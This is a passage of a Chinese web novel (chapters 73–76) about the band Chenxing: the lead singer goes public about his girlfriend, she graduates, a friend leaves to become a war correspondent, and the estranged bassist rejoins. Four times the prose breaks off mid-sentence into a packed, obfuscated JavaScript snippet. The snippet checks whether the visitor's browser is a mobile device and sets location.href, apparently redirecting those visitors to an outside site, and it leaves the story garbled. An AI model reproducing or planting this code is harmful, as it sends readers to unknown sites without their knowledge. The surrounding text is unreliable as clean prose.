等到菜全部上齐的时候，齐扬给桌上的每个人一人倒了一杯啤酒：“今年对我们晨星乐队来说是特殊的一年，经历了很多困难，但好在有各位不离不弃才挺了过来，我敬大家一杯。” 说着，他就端起玻璃杯，一饮而尽。 其他人开始拍手，赞叹队长的海量，互相碰杯。 凌兰招呼着大家：“别光喝酒，对胃不好，吃点菜。” 韦峰这才大胆地尝了一口，竖起了大拇指：“阿姨的手艺又进步了，齐扬，你好福气。” 齐扬重重地拍了他一下：“吃人嘴软，待会儿记得去洗碗。” “没问题，你们待会儿就歇着吧。”韦峰和叶琛异口同声地答应道。 齐扬看着桌上热热闹闹的景象，忽然感觉眼眶有点湿。 这真是他过得最幸福的一个年了。 后面的几天，齐扬和宋之雯又陪凌兰在B市逛了逛，转遍了所有的景点，才恋恋不舍地送她回家。 过完年之后，宋之雯回到了学校，不出预料，她的论文初稿被导师批了一通，打回来大改。 她天天对着电脑焦头烂额：“专硕的论文要求那么高干嘛，怎么办齐扬，我要毕不了业了。” “没事。”齐扬回头，一脸淡定地对她说，“我现在挣的钱还够你在家躺平两年。” 接着他又模仿宋之雯哀嚎道：“这个巴顺怎么回事，都几次了还没按照我的要求来，不如我自己做一版算了。” 两人大笑了起来。 在经历了一个月日夜不分的奋斗后，宋之雯的论文终于完成了论文的修改，成功送审，算是卸下了心里的一块大石头。 与此同时，晨星乐队的第三张专辑《解构》正式发行。 专辑一经推出口碑就爆了，大胆新潮的曲风吸引了不少新的听众入坑。 至此，晨星乐队成功从唱传统芭乐情歌的乐队转变为了曲风多变的实力派乐队。 齐扬和卢林商量了一下，觉得是时候公开了。 于是一个周末的晚上，齐扬编辑了这样一条微博。 @晨星乐队-主唱齐扬：我们相识于大学时代，有过对抗也互相吸引，虽然时间的洪流曾让我们走散，但幸运的是我们又在茫茫人海重逢。因为有你我的人生才更加完整，希望大家能祝福我们。 这条微博一经发出，不到一小时评论就破万，然后爬上了热搜第一，虽然齐扬没有指名道姓，但大家都清楚女主角是谁。 @满天都是小星星：我的天这什么神仙爱情，从大学到社会，齐扬也太专一了吧？ @流星划过天际：果然我粉的人没有错，不过女孩子也很好，陪你从籍籍无名到光芒万丈。 过了几个小时，有知情者爆出了一张照片，不过只有背影：小姐姐是素人，上次偶遇了没敢打扰，只敢远远拍了背影。 底下纷纷感慨：看这背影就很有气质，一定是个美女。 也有同学校的爆料：是我们新媒体中心的学姐，人特别好特别温柔，又是学霸，算便宜齐扬那小子了。 很快网友就顺藤摸瓜到了宋之雯的微博，她节目上不小心露了一个背影的视频也被翻了出来。 大家多半是带着善意询问她是不是齐扬的女主角，底下的评论也以祝福居多。 宋之雯挑了一条回复：我们很好，谢谢你的祝福。 不一会儿她的回复也被截图到了热搜上，又是引发了一波讨论。 齐扬一边看评论一边搂着宋之雯的脖子：“会觉得有压力吗？” 宋之雯坦然地笑了：“我从决定和你在一起的第一天，就想好了以后要承受的压力，我不害怕。” “既然这样……”齐扬弯起唇角，“有兴趣作为我女朋友的身份来看我们的巡演吗？” “好啊，不过你可别cue我。”宋之雯偏了一下头，“我可不想成为被关注的焦点。” 齐扬大笑起来，在她脸上亲了一口：“也对，毕竟我女朋友害羞嘛，只让我一个人看。” 很快巡演的第一站时间就确定了，正当齐扬编辑好微博准备发出去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255979|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候，宋之雯戳了戳他：“你再好好看看时间。” 齐扬又检查了一遍：“怎么？时间有什么问题吗？” 宋之雯把大麦的抢票界面给他看，是吴衡的livehouse，很巧，两个演出是同一天，而且都在B市。 齐扬的眉头越皱越紧，直接给卢林打了电话。 他们商量了好一会儿之后，齐扬拍板决定：“不管了，就这个时间，我就不信我们五个人还打不过他一个人。” 这条微博一经发出，就引发了热议，网友都等着看热闹，还有人戏称这是古代的“打擂台”。 火药味从抢票就开始了，吴衡的演出先开票，结果当天除了最低价售罄之外，还有不少余票。 一部分吴衡的粉丝还垂死挣扎，说你的新专辑曲风那么怪异，难道真的有人会买单吗？怕不是买的营销吧？ 结果让他们傻眼了。 晨星乐队的演出票不到一分钟就售罄了，市场价一张已经被炒到了几千块，很多粉丝哀嚎不如直接开体育馆算了。 演出当天有粉丝早上就在门口排队。虽然齐扬极力劝宋之雯去吧台买点酒，这样可以舒舒服服地坐着，但宋之雯还是坚持那样没有氛围感，提前一小时进去排队，但也只能站在比较后面了。 狭小的空间，拥挤的人潮，再加上酒精迷醉的味道，让人的血液沸腾。 晨星乐队就在万众瞩目中登台。 齐扬一上台的造型就引发了大家的尖叫，他今天头发选择性地挑染了几绺银色，眼角画了眼线贴了水钻，显得更勾人。一身印着银色外星文的西装衬衫加阔腿裤，把他优越的比例更衬托出来。 何瑜和韦峰等人的衣服图案也各有各的巧思，有的是科学家，有的是指挥官。 乐队的成员照例和大家打了招呼，然后快速进入到第一首歌，依旧是上次唱过的《解构》。但不同的是上次是晚会表演的版本，这回不插电更突出人声。 齐扬今天的嗓音状态非常好，沉郁但又不喑哑，该释放的时候有足够的穿透力。唱到“解构世间的规则”的时候，他干脆把话筒拔了下来，拖着话筒架在舞台边走，手指灵活地在话筒架上打着鼓点。 乐迷们心里的那团火彻底被点燃了，几乎是忘我地蹦迪，一曲结束了还不肯停下来。 宋之雯喜欢舞台上的齐扬，魅力十足，还带有恰到好处的锋利，她并不因为女孩为他欢呼而嫉妒，相反她认为他值得更大的舞台。 齐扬穿过人群远远地看见了她，因此时不时往这个方向望。站在她周围细心的粉丝也发现了，多看了她几眼，露出了恍然大悟的表情。 这次的巡演虽然是以新专辑的歌为主，但为了保证氛围和歌曲数量，也会穿插一些老歌。 几首歌过后，齐扬从后台拿出了一把吉他，背在身上。其他成员很自觉地退到了一边，只留下他一人在微弱的光影中。 齐扬凑近话筒，深吸了一口气，有点紧张地说道：“我的她，今天来到现场了。” 73. 第七十三章 现场 台下发出了一阵惊呼。 宋之雯顿时觉得脸上热热的，恨不得能找个地缝钻进去。 齐扬举起食指轻轻放在了唇边：“嘘，她有点害羞，如果你发现了她也请不要声张好吗？” 紧接着他就用修长的手指拨弦，轻轻弹唱起《我的女孩》。 这是宋之雯第三次听他唱起这首歌，每一次的心境都不一样。如果说第一次是悲伤的告别，第二次是重逢后的酸涩，那这第三次就只有甜蜜。齐扬弹着弹着，曲风越来越欢快，笑容明亮，整个人都在发光。 台下的乐迷也被这种快乐感染了，跟着一起轻轻摇摆。 直到唱下一首歌的时候，他们还沉浸在刚刚的氛围中，他们敢肯定这是今晚最动人的旋律，因为来自世间最真挚的情感。 专辑继续推进着，从把这个世界打碎，再把残片一片一片捡起、拼凑，重新镀金、铸造，最后回归一个真实的自我，因此最后一首歌就叫《本我》。 曾经的我渺小如沙粒 穿过人群之中看不见痕迹 每个夜晚独自哭泣 不知道生命的终极意义 现在的我试着去接受 每个人都有存在的宇宙 努力活着就已足够 和不完美的自我相拥 这首歌的旋律不像第一首快节奏，但编曲很宏大悠远，在狭小的场地环绕的时候竟给人一种空旷感，就像是特意留的空白给乐迷自己去思考。 背后的动画不断变幻着，宇宙、人生…… 齐扬唱这首歌的时候也有娓娓道来的叙述感，收敛了自己的锋芒，没有大开大合，但轻柔的声音却有四两拨千斤的效果。 宋之雯似乎明白为什么有人觉得livehouse解压了，所有的不安在这个夜晚得到了治愈。 唱完之后，齐扬深深地鞠了一躬，充满亲和力地笑道：“今天的表演全部到此结束了，谢谢大家的支持，愿大家都能拥抱最真实的自我。” 灯光暗了下去，工作人员陆陆续续开始撤走乐器，还有人留在原地不愿意离开，直到确定演出是真结束了，才往出口走去。 宋之雯先行一步离开，躲进了车里，她不用想就知道肯定又上热搜了。 果然，热搜上专门有个词条在讨论齐扬今天的演出。 ［啊啊啊，齐扬把话筒上下都摸了个遍，太涩了。］ ［他笑得好开心呐，好久没见他笑得这么开心了，难道这就是幸福的味道吗？］ ［还知道保护女朋友，好细心。］ ［我宣布这版《我的女孩》是我听过的最好听的一版，随便清唱都好听。］ 不一会儿齐扬也钻进了车里，宋之雯忍不住用胳膊撞了撞他：“不是叫你不要提我了吗？” 齐扬露出了玩味的笑容：“但是你觉得今晚开心吗？” 宋之雯想了想，很认真地点头：“挺开心的。” 也是，被这么一个帅哥当众表白，虚荣心得到了极大的满足。 女人果然是口是心非的生物。 不过宋之雯再往下翻，翻到了关于今天吴衡演出的一些消息，其中有个视频，她好奇点开来看了。 那是他自己写的一首抒情歌，其中有几个音就连宋之雯这个外行也听出来不准。 底下的评论也很不客气。 ［就这还当歌手呢？回家吧孩子。］ ［吴衡单飞真是他做得最错误的一个决定，他要是留在晨星乐队早就赚得盆满钵满了。］ ［呜呜呜，羡慕你们晨星乐队吃得真好，我都后悔今天去看吴衡了，实在忍不了。］ 这场比拼的结果显而易见，齐扬赢了。 忽然宋之雯感觉头顶上传来一个声音：“别看了。” 她一转头，齐扬正专心地开着车，脸上云淡风轻：“都过去了。” 宋之雯也识相地按灭了手机。 偌大的落地窗前，吴衡正坐在躺椅上，手里轻轻摇晃着一杯红酒，看着窗外的夜景，嘴里品出了苦涩。 刚刚他接到个电话，说原先定好的商务又掉了。 自从他负气从晨星乐队单飞之后，好像处处发展不顺利，他也努力地提升唱功，甚至一天的时间都用来练歌，但总是被齐扬压一头。 如今公司也从一开始的重视他到逐渐把他边缘化了，经纪人也把重心放在了别的艺人上。 难道他真的错了吗？可是他已经走错了太多步，没有回头路了。 吴衡叹了口气，嘴角露了一丝苦笑。 自从第一站巡演的口碑爆棚之后，接下来晨星乐队的巡演场场爆满，就算是不热门的城市也一票难求。 而宋之雯的论文也在一个月后有了审核结果，以高分通过，接下来就是准备答辩了。 宋之雯知道齐扬最近的巡演负担很重，但还是试探着问他会不会来自己的毕业典礼。 齐扬挤出了一个笑容，说尽量吧。 这个答案在意料之中，因此宋之雯也不多过问了。 天气渐渐炎热了起来，蝉的鸣叫声开始逐渐聒噪，路旁又开满了小黄花，送走新一届的毕业生。 这次毕业和大学那会儿的毕业有所不同，大学时候是迷茫的，不知道前路在何方，而这次宋之雯已经知道了接下来的路该怎么走，只要大步往前就好。 毕业典礼的前一晚下了一场雨，早晨地面还有点湿滑，宋之雯一路和项婉欢快地踩着水坑，前往现场。 优秀学生代表开始上台致辞，紧接着是校长寄语，宋之雯恍惚间突然惊醒，自己的学生时代好像真的结束了。 不过她很庆幸，迈入新的人生阶段的时候有人陪伴。 短暂的仪式结束后，接下来就是大家互相拍照留念。 宋之雯正和项婉用自拍杆自拍的时候，忽然发现背后有个熟悉的人影。只见林嘉和远远地跑过来朝她们招手：“好久不见。” 宋之雯一脸惊喜：“你怎么来了？不用上班吗？” “刚好轮到调休，来看看你们。”林嘉和伸手一指，“走吧，为了庆祝你们毕业，想吃什么学长请客。” 三个人选了校门外的一家蒸汽石锅鱼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283148|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一坐下，项婉就像倒豆子一样，把这段时间吃的苦全倒了出来：“我跟你说娱乐公司有多压榨，天天饭局酒局不说，一个人顶两个人用，钱少事还多，我都想换工作了。” “放轻松，其实工作都那样。”林嘉和放下了筷子，开始细细分享自己这段时间在电视台的经历，听得项婉心情心情也平静了下来。 看她们吃饱喝足之后，林嘉和才谨慎地开口道：“其实……我这次来，是想和你们告别的。” “告什么别？”项婉一脸茫然。 林嘉和叹了口气，又笑了，解释得具体了点：“台里有一个外派的项目，到战区当战地记者，我报了名，通过了。” 宋之雯正在喝鱼汤，听到这话，忽然觉得那奶白色冒着热气的鱼汤索然无味。 项婉皱了皱眉：“你当什么不好？非要当战地记者？那里到处都是恐怖袭击，你不怕没命吗？” 林嘉和的眼神忽然变得认真起来：“我是学英文的，深入当地采访一直是我的梦想。况且我现在没有对象，也没有家里人可以牵挂，孑然一身，刚好适合这个工作。” 项婉还想再说什么的时候，宋之雯轻轻拍了拍她的肩膀：“别劝他了，他已经决定的事你劝不动的。” 紧接着宋之雯又说：“什么时候的飞机？” “明天下午两点。” 项婉“啊”了一声：“可是我那时候要上班，我们领导又给我压了很多项目，我连今天都是抽空请假出来的。” “到时候我去送送你吧。”宋之雯柔声说。 林嘉和犹豫了一下，才重重地回答了一个字：“好。” 三个人又在店里坐了一会儿，然后起身绕着校园走了许久，回忆着这些年的往事，等到太阳都快西斜了才分散开来。 宋之雯才拿出手机一看，好几个未接来电，都是齐扬打过来的，时间最近的是一条信息：“到校门口来找我。” 完了完了，宋之雯拔腿就往校门口跑。 跑到校门口，只见花坛旁赫然停着一辆黑色的轿车。在仔细辨认了里面的身影后，宋之雯拉开车门，扑到了齐扬的怀中。 夕阳西下，金色的阳光给他的头发镀上了一层柔和的边缘，映得他的脸有些疲态。 宋之雯满是歉意地从他的怀中抬起头：“你等了多久了？” 齐扬不满地看着她：“你说呢？从日升等到日落，等得我头发都白了。” 宋之雯讨好地一笑：实在不好意思，我今天遇到老同学了，就聊了比较久。” 齐扬默默地从汽车后座拿出一大束花，是她喜欢的勿忘我和蝴蝶兰：“毕业快乐。” 宋之雯低头嗅着花的清香。心里一阵荡漾：“谢谢你，齐扬。” “走吧。”齐扬发动了车子，“想想要怎么补偿我。” 宋之雯打开了车窗，让夏天炽热的风朝自己扑面而来，想着要怎么和齐扬说这件事：“齐扬…” “嗯？” “有一件事还得和你说一下。” “说。” “林嘉和要走了。” 74. 第七十四章 告别 宋之雯又补充了一句：“我想去送送他。” 齐扬闻声，把车缓缓停到了路边，俯身压了上来，咬着她的耳朵问：“你一个人去？” “对啊，怎么了？”宋之雯不明所以。 齐扬被气笑了：“你要知道你现在可是艺人的女友，也算半个公众人物了，万一有认出来你的人，看到你和另一个男人一起走会怎么想？” 宋之雯不服气的地和他对视：“就说是朋友啊，难道看到一个男的女的就认为他们有什么？” 齐扬忍不住敲了一下她的脑壳：“你不要低估了现在网友的发散思维能力。” 他彻底缠上了宋之雯，把头埋在她的颈侧，喃喃道：“这林嘉和真的有这么好？让你不惜被误会也要去送他？” “毕竟是我的学长，我考研最艰难的那段时间也是他陪我度过的。” “哦？”齐扬来了兴趣，“说来听听？” “我每次崩溃撑不下去的时候都会给他打电话，他都会耐心地安慰我。放假了还专门回学校和我一起吃饭。” 齐扬的脸越绷越紧：“你还和他吃饭？！” “对啊。”宋之雯白了他一眼，“也不知道某些人那时候还在哪里浪呢。” “我也没办法，都是为了生活。” “哼。”宋之雯试着推开他，“谁信你。” 齐扬把她搂得更紧了，几乎是禁锢在了自己的怀里：“反正你不许单独去找他。” “齐扬！”宋之雯真的有点生气了，“别无理取闹，谁还没几个朋友了，你和其他女歌手合作我也没说什么。” 齐扬挑了一下眉：“只有一个办法。” “什么办法？” “带上我一起去。” “你没发烧吧？”宋之雯试探了一下他的额头，“这不是主动把自己暴露在公众面前吗？你不怕被拍啊？” “有什么关系？又能和自己女朋友秀个恩爱，获得专一的称号，还能解除误会。”齐扬坏笑道，“怎么样？考虑考虑？” “我要是说不呢？” “那就别去了。”齐扬完全把她压在了身下。 “等一下。”宋之雯服软了，“好吧，我答应你。” 不过齐扬还是没打算放过她，和她缠绵了好一会儿才继续开车。 第二天宋之雯和齐扬中午就到了机场，他们一下车，立刻就引起了周围一些人窃窃私语的讨论，还有几个女生大着胆子过来问是不是齐扬。 齐扬点点头，那几个女生立刻露出惊喜的表情，问可不可以合影。 齐扬同意了，宋之雯便拿过手机帮她们拍了好几张。女生们接过手机，开开心心地走了，还祝他们幸福。 这时林嘉和发来了他的位置，宋之雯按照他的指示，很快找到了他。 林嘉和看到宋之雯身边的齐扬，稍微惊讶了一下，不过很快神色恢复如常：“好久不见啊，学长。” 齐扬也点头：“好久不见，算算从上次你喝醉把你弄到家里来，也快一年了。” 三个人在机场外围的餐厅简单吃了个便饭。林嘉和先开口：“其实大学时候我早就看出来宋之雯喜欢你，但是没想到你们会在一起。” “还在一起了这么久。”齐扬接了一句。 林嘉和温和地笑笑。 齐扬接着说道：“你放心吧，我不是那么随随便便就答应人家的人，不然我不会这么多年不谈恋爱。既然决定和宋之雯在一起，就会对她负责到底。” 林嘉和舒了一口气：“那就好，我在国外也放心了。” “你怎么会突然想跑到那么危险的地方去？”齐扬开始好奇起来。 林嘉和耸耸肩：“也许是和你们一样，年轻，想冒冒险。” 齐扬重重地拍了一下他的肩膀：“保重。” “没事。”林嘉和装作云淡风轻的样子，“有祖国母亲的庇佑，我不会有事的。” 宋之雯拿出了一个包裹给他：“这是B市的特产，那里没什么吃的，省着点吃。还有，到那里之后定期发一下朋友圈，万一有危险也可以及时求助。” “知道了。”林嘉和被她逗笑了，“你怎么跟个老妈子似的。” “好歹也是这么多年交情了，不能关心你一下吗？”宋之雯反问。 “行。”林嘉和爽快地收下了包裹，“心意领了。” 他正要起身去结账，被齐扬拦住了：“这是你出行前的最后一顿饭，就由我们请吧，等你平安回来就要你请了。” 林嘉和想想也有道理，便也没再拒绝。他看了看手机：“值机的时间快要到了，我得走了。” 齐扬和宋之雯帮他推着行李箱，送他到了机场入口。林嘉和接过箱子，转头朝他们挥了挥手。 宋之雯忽然觉得胸口堵得慌，她走过去，抱了抱林嘉和：“一路平安。” “祝你幸福。”林嘉和在她耳边轻轻地说道。 齐扬也和林嘉和拥抱告别，还跟兄弟一样互相拍了拍对方的背。 “好了，就送到这里吧，这回我是真的走了。”林嘉和笑了，拉起行李箱就走了进去。 齐扬搂着宋之雯，看着林嘉和渐渐消失在了拐角处。 林嘉和曾经和宋之雯说过，他的名字来源于“家和万事兴”，但如今家庭支离破碎的他，却独自一人登上了前往异国的飞机。 也许人生就是在不断地告别。 两人抬头，看飞机划过上空，留下一道浅浅的痕迹，才互相看着对方说：“走吧。” 齐扬万万没想到的是，第二天他就迎来了另一次告别。 自从上一轮的巡演结束后，工作室就进入了散养的状态，每天大家就象征性地来一下，在各自的工位上做做新接的项目。 然而巴顺这天却难得的准时上班了。 齐扬有点惊讶：“来那么早？” “队长，你把何瑜叶琛韦峰都叫过来吧，我有事情要说。”巴顺的表情看起来不像是开玩笑。 齐扬虽然一头雾水，但还是给三个人打了电话，叫他们赶紧过来。 “什么事啊？我还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他把专辑递给了巴顺：“虽然你以后不在晨星乐队了，但也希望你能记得，在你无数的合作对象中，有这么一群曾经奋斗过的伙伴。” 巴顺接过专辑，眼眶有点湿，深深地和齐扬拥抱了一下：“谢谢队长，其实我的离开，也是为了晨星乐队。” 齐扬扶着他的肩膀，眼神里充满了赏识：“也希望你以后能站上更大的舞台，你是我见过最优秀的贝斯手。” 巴顺再次和他们道了别，然后带上他唯一的伙伴——那把贝斯，上路了。 他的背影潦草，步伐却格外坚定，就像一个四海为家的流浪者，自由而潇洒。 巴顺走了之后，所有的成员都瘫坐在了沙发上，大眼瞪小眼。 韦峰率先打破了沉默：“说吧，接下来该怎么办？” “我怎么知道？”齐扬一摊手，“吴衡从离开乐队那天，就把我们所有人的微信都删了。” “说到底还是你的问题。”韦峰撇了何瑜一眼。 “我？”何瑜指了指自己，“我有什么问题？拒绝不喜欢的人还有错了？” “好好说，不要吵架。”叶琛急忙出来制止。 “有了。”齐扬灵光一闪，“上次郭卫和我说吴衡还没把他删掉呢。” 75. 第七十五章 回归 “对啊。”韦峰一拍沙发，撺掇齐扬，“赶紧给郭卫打电话。” 郭卫刚结束乐队新专辑的制作，有这等热闹自然不会错过，火速赶了过来。 他在众目睽睽之下拨通了吴衡的微信电话，还开了外放。 “喂？”电话那头响起一个慵懒的声音，显然是还没睡醒。 大家心里都是一震，有多久没听到吴衡的声音了？ 郭卫特意找了点借口：“喂，兄弟啊，网上的评论我看了，你不用太在意，本来就是个人有个人的风格，唱歌又不用非得很用力，大起大落的。” 齐扬不禁皱了皱眉。 “我已经没事了，你不用担心。”吴衡说话还带着点鼻音。 “感冒啦？” “嗯，最近几天在家里休息。” “你的商务资源没受影响吧？旧的不去新的不来嘛，大不了哥再给你介绍几个。” “谢谢。”吴衡苦笑了一声。 郭卫沉默了一会儿，终于鼓足勇气问道：“说实话，你有后悔过吗？” 吴衡变得有点警惕：“你怎么突然问这个了？” “没什么，就是今天工作有感而发，团队的力量毕竟还是比一个人的力量强得多。” 吴衡停顿了一下，才开口道：“他们是不是在你旁边？” “哎呀我靠，你怎么猜出来的？嗅觉这么灵敏？我......”郭卫的话音还没落，电话就被挂断了。 过了一会儿，郭卫发现自己也被拉黑了。 韦峰痛心疾首：“叫你不要那么早问了。” “我能怎么办？我实在是编不下去了。”郭卫气愤地把手机递给他，“来来来，你来打。” 何瑜一把把他的手拍掉：“别闹了，现在只能另想办法了。” 齐扬感觉格外头疼，用手揉着太阳穴。 揉着揉着，他忽然思路清楚了一点：“我们可以联系吴衡的经纪人。” 他通过朋友要来了吴衡经纪人的电话，说明了来意之后，便和经纪人沟通了起来。 正好他经纪人也觉得吴衡从晨星乐队单飞实属想不开，最近的商业价值也逐步下降，公司都打算放弃他了，他也在想怎么劝吴衡回去。 在这方面达成了一致之后，事情就好办了。齐扬提出要亲自去吴衡家一趟，经纪人表示只要和门卫说一下他的名字和联系方式，就可以放他们进来。 不过还有一个问题，如果直接和吴衡说来看他，他肯定不见。 经纪人又提供了一个信息，吴衡最近很喜欢点某一家的外卖，下午一点的时候送上来，到时候可以和外卖员沟通一下。 计划制定好了，第二天一群人就去吴衡家楼下蹲点，甚至齐扬还叫上了宋之雯。 宋之雯虽然对他们这种幼稚的行为表示不理解，但还是配合着躲在了草丛里，跟做贼一样。 “唉，来了来了。”郭卫小声叫道。 只见身穿蓝色衣服的外卖员骑车到了楼下，从保温饭箱里取出外卖的那一刻，说时迟那时快，郭卫一个健步冲上去拦了下来。 外卖员被吓了一跳，但当郭卫和他沟通之后，他还是一脸狐疑地把外卖递给了郭卫。 “成了。”郭卫打了个响指，招呼躲在草丛里的人上来，又拍了拍何瑜，“吴衡最在意的人就是你了，你到时候态度好一点，能不能成功就看你了。” 何瑜点点头，她现在比谁都希望吴衡回来。 一群人按了电梯上楼，郭卫首先打头阵，出了电梯去敲吴衡家的门：“你好，你的外卖到了。” 在吴衡开门的那一刹那，郭卫扒住门，把所有人都放了进去。 吴衡看着浩浩荡荡进自己家门的一群人，眼神很不善：“你们来干什么？” “消消气，你还病着，先把东西吃了。”郭卫把外卖放到他面前。 吴衡简单吃了几口，冷淡地说道：“如果你们是来劝我的，那可以回去了。” “吴衡。”齐扬坐在了沙发上，和他对视着，“其实你心里也明白，你已经到山穷水尽的地步了，再这样下去只会砸了自己的口碑加赔钱，只是你不愿意承认罢了。” 两人的眼神在空中交汇着，一股无声的火药味在蔓延，连带着周围的空气都变得紧张起来。 最终吴衡败下阵来，低头继续吃外卖：“可是我已经走出很多步了，回不了头了。” “回得了。”齐扬眼神紧盯着他，“其实这段时间不止你痛苦，我们也很痛苦，离了吴衡的晨星乐队就是瘸了一条腿，跌跌撞撞地在行走。” “可是我看了你们的视频，新乐手配合得挺好的。” “他昨天提出要走了。”韦峰叹了口气，“所以说就连别的乐手都觉得融不进我们乐队，可见你对我们有多重要。” “吴衡。”一向沉默寡言的叶琛也发言了，“每个人都有适合自己的领域，你的特长就是贝斯，只有在这个位置上才能发挥自己最大的能量，没必要抢着去当什么主角。” 吴衡低着头不说话了。 “是啊吴衡。”宋之雯也劝说道，“你现在是一个人在单打独斗，可能随时会被人被刺。但别忘了你身后还有这么一群伙伴，我们从来都没有怪过你，一直在等你。” 吴衡的眼里有所动容：“当初我离开晨星乐队时可是很坚决的，要怎么解释我在外面混得不好狼狈得回来呢？” “晨星乐队从来就不是你退而求其次的选择。”齐扬的声音异常坚定，“你只是作为独立音乐人的身份暂时离开一段时间，现在又回来了。” 吴衡眨了眨眼，缓缓转向何瑜：“你们都说完了吧？我想听听她的看法。” “是，当初是我的方式有问题，太过激了一点。”一直躲在后面的何瑜此时勇敢站了出来，“但是吴衡，你有没有发现，这么多年了，我们早就融入了彼此的生活，晨星乐队就是一个整体，少了谁都不行。” 她朝他伸出了手，“我想说的是，就算不是爱情，你也是我生命中最重要的人，所以回来吧。” 吴衡全身都颤抖着，轻轻握住了她的手，像个孩子一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294904|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭了起来。 当天下午，晨星乐队就官宣和巴顺的合约已经到期结束，吴衡在单飞之后正式回归乐队。 这个消息一出，全网都炸了。 不少网友在下面感慨有生之年终于能看到吴衡再回来，吴衡的大部分粉丝也很乐于看到这个决定，因为这段时间他们也见证了吴衡当歌手实在够呛。 当然也有人质疑当初吴衡为什么要离开再回来，是不是混不下去了之类的。乐队立刻出面澄清本来就是暂时单飞，等到一定时间就会回归，这是早就说好的。 吴衡的位置又被重新收拾了出来，并在周围种上了花花草草。工作室里又恢复了往日的热闹，时常能听到针锋相对的声音。 就好像一切从来没有变过。 吴衡重新参与了新专辑的排练，在排练的同时也感慨专辑的构思巧妙，心痒痒想上台演一演。 于是就有了回归后的第一次演唱会，主题叫“再出发”。 和专辑一样，晨星乐队也经历了一次解构再重塑的过程，最终有了一个全新的面貌。 乐迷的热情超乎了大家的想象，能容纳五千人的体育馆，不到一分钟票就售罄了，齐扬竭力争取也只能给宋之雯留了一排边角的位置。 宋之雯倒觉得很乐意，她巴不得别人看不见她。 为了这场演唱会，乐队成员几乎是投入了全部的精力在上面，无论是场地、舞台还是舞美，都要亲力亲为。 宋之雯去看过几次他们排练，对细节到了严苛的地步，只要有一个音错了就推翻重来，往往都凌晨了他们还在排练。 宋之雯心里觉得心疼，有时会给他们带一些夜宵，大家吃着烧烤喝着啤酒，仿佛回到了最单纯的大学时代。 演唱会的当天，宋之雯走到场馆外面，能看到许多编着头发化着精致妆容的学生妹，每个人都在叽叽喳喳地讨论着。她也被她们的这种青春热情感染了，满怀兴奋地坐下。 灯光暗了下来，屏幕上闪烁着倒计时，等到数字“3”的时候，宋之雯听到了那熟悉的震天响的鼓声，就如他们第一次见面那样。 倒计时结束，五个人同时出现在了舞台上，首先朝乐迷深深地鞠了一躬：“大家好，我们是晨星乐队，问候在场各位！” 久违的打招呼的声音响起，镜头扫过不少乐迷都湿了眼眶。 齐扬搂过吴衡的肩膀：“前段时间吴衡说想尝试一下独立音乐人的身份，我们成员也都支持他，所以让他去独自闯荡了一段时间，如今终于想起来回来了。” “是啊，因为没钱了。”吴衡附和道，“还是回家好。” 底下的乐迷们都笑了。 “回来就好。”齐扬看着吴衡，“离开这么久，是不是应该补偿一下，给大家秀一段？” 立刻有人开始起哄。 都被架到这份上了，吴衡便欣然拿出贝斯，竖起来，捏紧大拇指和食指，在上面狂扫。 宋之雯听出来是齐扬给她的专辑里的一段旋律，心里一阵温暖。 是啊，回来就好。 76. 第七十六章 朋友 这次演唱会的歌单涵盖了晨星乐队出道之后的三张专辑，并特意按照时间回顾了他们所经历的风风雨雨。从第一首歌开始，大屏幕上就闪烁着乐队成员大学时期的照片，每一张都会引发乐迷们的惊呼。 等齐扬那张在运动场上嘴角带笑容的照片出现的时候，欢呼声达到了最高潮。 宋之雯也笑了，她记得那还是因为自己无意间把手机摔坏了，照片掉了出来。 其实这张照片她老早就打印了出来，并藏在手机壳后面藏了好久。 掉出来的时候，她和小偷偷东西被人发现一样，心虚地看着齐扬。 齐扬捡起来，端详了好久，喃喃自语道：“原来没拍糊啊。” 下一秒，他就扑了过来，滚烫的气息呼在她的耳边，声音像低音提琴在她心上挠痒：“你这个骗子......小骗子。” 后面他强烈要求这张原图，并洋洋自得地放到了演唱会的VCR里。 等到第一张专辑快要接近尾声的时候，齐扬意味深长地笑了一下：“这些还不够，还有更惊喜的呢。” 大家纷纷抬头望着上场口，只见郭卫带着秦伊莲和廖可走到了舞台上。 欢呼声快要把体育场的顶给掀翻了。 屏幕上赫然打出了几个字“这世界我定义”。 